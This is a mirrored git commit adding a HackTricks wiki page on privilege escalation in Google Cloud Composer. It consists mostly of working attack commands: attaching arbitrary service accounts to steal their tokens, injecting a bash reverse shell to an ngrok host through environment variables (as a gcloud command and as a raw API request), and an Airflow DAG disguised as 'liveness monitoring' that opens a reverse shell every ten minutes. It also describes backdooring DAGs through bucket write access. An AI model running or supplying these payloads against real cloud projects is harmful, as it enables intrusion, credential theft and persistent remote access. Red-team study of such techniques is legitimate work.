mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Recreating repository history for branch master
This commit is contained in:
Carlos Polop
@@ -0,0 +1,159 @@
|
||||
# GCP - Composer Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## composer
|
||||
|
||||
More info in:
|
||||
|
||||
{% content-ref url="../gcp-services/gcp-composer-enum.md" %}
|
||||
[gcp-composer-enum.md](../gcp-services/gcp-composer-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
It's possible to **attach any service account** to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.
|
||||
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
|
||||
More info about the exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
It's possible to update composer environment, for example, modifying env variables:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
|
||||
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
|
||||
--location <location> \
|
||||
--project <project-id>
|
||||
|
||||
# Call the API endpoint directly
|
||||
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
|
||||
Host: composer.googleapis.com
|
||||
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: application/json
|
||||
Content-Length: 178
|
||||
Content-Type: application/json
|
||||
X-Goog-Api-Client: cred-type/sa
|
||||
Authorization: Bearer [token]
|
||||
X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
TODO: Get RCE by adding new pypi packages to the environment
|
||||
|
||||
### Download Dags
|
||||
|
||||
Check the source code of the dags being executed:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Import Dags
|
||||
|
||||
Add the python DAG code into a file and import it running:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
{% code title="reverse_shell.py" %}
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
from datetime import timedelta
|
||||
|
||||
default_args = {
|
||||
'start_date': airflow.utils.dates.days_ago(0),
|
||||
'retries': 1,
|
||||
'retry_delay': timedelta(minutes=5)
|
||||
}
|
||||
|
||||
dag = DAG(
|
||||
'reverse_shell',
|
||||
default_args=default_args,
|
||||
description='liveness monitoring dag',
|
||||
schedule_interval='*/10 * * * *',
|
||||
max_active_runs=1,
|
||||
catchup=False,
|
||||
dagrun_timeout=timedelta(minutes=10),
|
||||
)
|
||||
|
||||
# priority_weight has type int in Airflow DB, uses the maximum.
|
||||
t1 = BashOperator(
|
||||
task_id='bash_rev',
|
||||
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
|
||||
dag=dag,
|
||||
depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Write Access to the Composer bucket
|
||||
|
||||
All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{% content-ref url="gcp-storage-privesc.md" %}
|
||||
[gcp-storage-privesc.md](gcp-storage-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Import Plugins
|
||||
|
||||
TODO: Check what is possible to compromise by uploading plugins
|
||||
|
||||
### Import Data
|
||||
|
||||
TODO: Check what is possible to compromise by uploading data
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
Reference in New Issue
Block a user